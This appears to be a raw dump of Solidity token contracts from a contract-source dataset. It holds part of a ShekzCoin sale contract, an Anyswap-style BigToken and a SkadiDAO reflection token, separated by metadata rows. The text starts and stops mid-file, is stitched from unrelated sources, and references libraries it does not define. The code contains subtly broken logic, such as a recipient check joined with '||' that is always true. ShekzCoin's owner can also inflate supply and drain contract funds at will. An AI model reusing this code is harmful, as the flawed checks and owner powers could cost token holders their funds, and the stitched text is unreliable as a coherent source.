function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ShekzCoin is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "ShekzCoin";
string public constant symbol = "Shekz";
uint public constant decimals = 6;
uint public deadline = now + 37 * 1 days;
uint public round2 = now + 32 * 1 days;
uint public round1 = now + 22 * 1 days;
uint256 public totalSupply = 1000000e6;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 200; // 0.005 Ether
uint256 public tokensPerEth = 1000e6;
uint public target0drop = 10000;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0x71Ca5c472437694BA1854422579Eb2457a585c1B
;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 600000e6;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 20 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 20 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 20 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 0.1e6;
if (Claimed[investor] == false && progress0drop <= target0drop) {
distr(investor, valdrop);
Claimed[investor] = true;
progress0drop++;
}else{
require(msg.value >= requestMinimum);
}
}else if(tokens > 0 && msg.value >= requestMinimum){
if(now >= deadline && now >= round1 && now < round2){
distr(investor, tokens);
}else{
if(msg.value >= bonusCond1){
distr(investor, bonus);
}else{
distr(investor, tokens);
}
}
}else{
require(msg.value >= requestMinimum);
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
//here we will send all wei to your address
multisig.transfer(msg.value);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdrawAll() onlyOwner public {
address myAddress = this;
uint256 etherBalance = myAddress.balance;
owner.transfer(etherBalance);
}
function withdraw(uint256 _wdamount) onlyOwner public {
uint256 wantAmount = _wdamount;
owner.transfer(wantAmount);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function add(uint256 _value) onlyOwner public {
uint256 counter = totalSupply.add(_value);
totalSupply = counter;
emit Add(_value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
}
| 159,243 | 249 |
9940aacaf366774ab2dae5fffce54fe608f41122c99982ea41c7bf4d454fb1eb
| 20,668 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/ba/Baf46c5Cc23Fa1Edd078C535E02B0EB440dA2703_BigToken.sol
| 4,343 | 16,396 |
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.2;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC2612 {
function nonces(address owner) external view returns (uint256);
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external returns (bool);
}
/// balance of ERC-20 deposited minus the ERC-20 withdrawn with that specific wallet.
interface IAnyswapV3ERC20 is IERC20, IERC2612 {
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external returns (bool);
}
interface ITransferReceiver {
function onTokenTransfer(address, uint, bytes calldata) external returns (bool);
}
interface IApprovalReceiver {
function onTokenApproval(address, uint, bytes calldata) external returns (bool);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract BigToken is IAnyswapV3ERC20 {
using SafeERC20 for IERC20;
string public name;
string public symbol;
uint8 public immutable override decimals;
bytes32 public constant PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant TRANSFER_TYPEHASH = keccak256("Transfer(address owner,address to,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public immutable DOMAIN_SEPARATOR;
/// @dev Records amount of AnyswapV3ERC20 token owned by account.
mapping (address => uint256) public override balanceOf;
uint256 private _totalSupply;
// init flag for setting immediate vault, needed for CREATE2 support
bool private _init;
// flag to enable/disable swapout vs vault.burn so multiple events are triggered
bool private _vaultOnly;
// set of minters, can be this bridge or other bridges
mapping(address => bool) public isMinter;
address[] public minters;
// primary controller of the token contract
address public vault;
modifier onlyAuth() {
require(isMinter[msg.sender], "AnyswapV4ERC20: FORBIDDEN");
_;
}
modifier onlyVault() {
require(msg.sender == mpc(), "AnyswapV3ERC20: FORBIDDEN");
_;
}
function owner() public view returns (address) {
return mpc();
}
function mpc() public view returns (address) {
return vault;
}
function initVault(address _vault) external onlyVault {
require(_init);
vault = _vault;
isMinter[_vault] = true;
minters.push(_vault);
_init = false;
}
function setVaultOnly(bool enabled) external onlyVault {
_vaultOnly = enabled;
}
function setVault(address _vault) external onlyVault {
require(_vault != address(0), "AnyswapV3ERC20: address(0x0)");
vault = _vault;
}
function setMinter(address _auth) external onlyVault {
require(_auth != address(0), "AnyswapV3ERC20: address(0x0)");
isMinter[_auth] = true;
minters.push(_auth);
}
// No time delay revoke minter emergency function
function revokeMinter(address _auth) external onlyVault {
isMinter[_auth] = false;
}
function getAllMinters() external view returns (address[] memory) {
return minters;
}
function mint(address to, uint256 amount) external onlyAuth returns (bool) {
_mint(to, amount);
return true;
}
function burn(address from, uint256 amount) external onlyAuth returns (bool) {
require(from != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(from, amount);
return true;
}
function Swapin(bytes32 txhash, address account, uint256 amount) public onlyAuth returns (bool) {
_mint(account, amount);
emit LogSwapin(txhash, account, amount);
return true;
}
function Swapout(uint256 amount, address bindaddr) public returns (bool) {
require(!_vaultOnly, "AnyswapV4ERC20: onlyAuth");
require(bindaddr != address(0), "AnyswapV3ERC20: address(0x0)");
_burn(msg.sender, amount);
emit LogSwapout(msg.sender, bindaddr, amount);
return true;
}
mapping (address => uint256) public override nonces;
mapping (address => mapping (address => uint256)) public override allowance;
event LogChangeVault(address indexed oldVault, address indexed newVault, uint indexed effectiveTime);
event LogSwapin(bytes32 indexed txhash, address indexed account, uint amount);
event LogSwapout(address indexed account, address indexed bindaddr, uint amount);
constructor(string memory _name, string memory _symbol, uint8 _decimals, address _vault) {
name = _name;
symbol = _symbol;
decimals = _decimals;
isMinter[_vault] = true;
minters.push(_vault);
// Use init to allow for CREATE2 accross all chains
_init = true;
// Disable/Enable swapout for v1 tokens vs mint/burn for v3 tokens
_vaultOnly = false;
vault = _vault;
uint256 chainId;
assembly {chainId := chainid()}
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name)),
keccak256(bytes("1")),
chainId,
address(this)));
}
/// @dev Returns the total supply of AnyswapV3ERC20 token as the ETH held in this contract.
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
balanceOf[account] += amount;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
balanceOf[account] -= amount;
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
function approve(address spender, uint256 value) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/// @dev Sets `value` as allowance of `spender` account over caller account's AnyswapV3ERC20 token,
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Approval} event.
/// Returns boolean value indicating whether operation succeeded.
/// For more information on approveAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function approveAndCall(address spender, uint256 value, bytes calldata data) external override returns (bool) {
// _approve(msg.sender, spender, value);
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return IApprovalReceiver(spender).onTokenApproval(msg.sender, value, data);
}
/// Emits {Approval} event.
/// Requirements:
/// - `deadline` must be timestamp in future.
/// - the signature must use `owner` account's current nonce (see {nonces}).
/// - the signer cannot be zero address and must be `owner` account.
function permit(address target, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(PERMIT_TYPEHASH,
target,
spender,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
// _approve(owner, spender, value);
allowance[target][spender] = value;
emit Approval(target, spender, value);
}
function transferWithPermit(address target, address to, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external override returns (bool) {
require(block.timestamp <= deadline, "AnyswapV3ERC20: Expired permit");
bytes32 hashStruct = keccak256(abi.encode(TRANSFER_TYPEHASH,
target,
to,
value,
nonces[target]++,
deadline));
require(verifyEIP712(target, hashStruct, v, r, s) || verifyPersonalSign(target, hashStruct, v, r, s));
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[target];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[target] = balance - value;
balanceOf[to] += value;
emit Transfer(target, to, value);
return true;
}
function verifyEIP712(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19\x01",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
function verifyPersonalSign(address target, bytes32 hashStruct, uint8 v, bytes32 r, bytes32 s) internal view returns (bool) {
bytes32 hash = keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
DOMAIN_SEPARATOR,
hashStruct));
address signer = ecrecover(hash, v, r, s);
return (signer != address(0) && signer == target);
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
function transfer(address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
/// `value` is then deducted from caller account's allowance, unless set to `type(uint256).max`.
/// unless allowance is set to `type(uint256).max`
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - `from` account must have at least `value` balance of AnyswapV3ERC20 token.
function transferFrom(address from, address to, uint256 value) external override returns (bool) {
require(to != address(0) || to != address(this));
if (from != msg.sender) {
// _decreaseAllowance(from, msg.sender, value);
uint256 allowed = allowance[from][msg.sender];
if (allowed != type(uint256).max) {
require(allowed >= value, "AnyswapV3ERC20: request exceeds allowance");
uint256 reduced = allowed - value;
allowance[from][msg.sender] = reduced;
emit Approval(from, msg.sender, reduced);
}
}
uint256 balance = balanceOf[from];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[from] = balance - value;
balanceOf[to] += value;
emit Transfer(from, to, value);
return true;
}
/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`),
/// after which a call is executed to an ERC677-compliant contract with the `data` parameter.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
/// - caller account must have at least `value` AnyswapV3ERC20 token.
/// For more information on transferAndCall format, see https://github.com/ethereum/EIPs/issues/677.
function transferAndCall(address to, uint value, bytes calldata data) external override returns (bool) {
require(to != address(0) || to != address(this));
uint256 balance = balanceOf[msg.sender];
require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");
balanceOf[msg.sender] = balance - value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return ITransferReceiver(to).onTokenTransfer(msg.sender, value, data);
}
}
| 328,913 | 250 |
78fa1331dd6fe2ea5b283f7ec3e92a80a8d98ee8d9e2538aa5f441796af46ff9
| 29,621 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/0e/0e249f41f48669699ef6b5190fa57ceda71a86c5_SkadiDAO.sol
| 5,262 | 18,821 |
//https://twitter.com/SkadiDAO
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IBEP20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SkadiDAO is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 10**4 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private _name = 'Jotunn';
string private _symbol = 'SKADI';
uint8 private _decimals = 18;
uint256 private _taxFee = 0;
uint256 private _burnFee = 10;
uint256 private _maxTxAmount = 10**4 * 10**18;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function taxFee() public view returns (uint256) {
return _taxFee;
}
function burnFee() public view returns (uint256) {
return _burnFee;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total Tester3");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xD3ce6898eC2252713F96FC21921cEBfca27501d2, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function multiTransfer(address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++)
transfer(receivers[i], amounts[i]);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
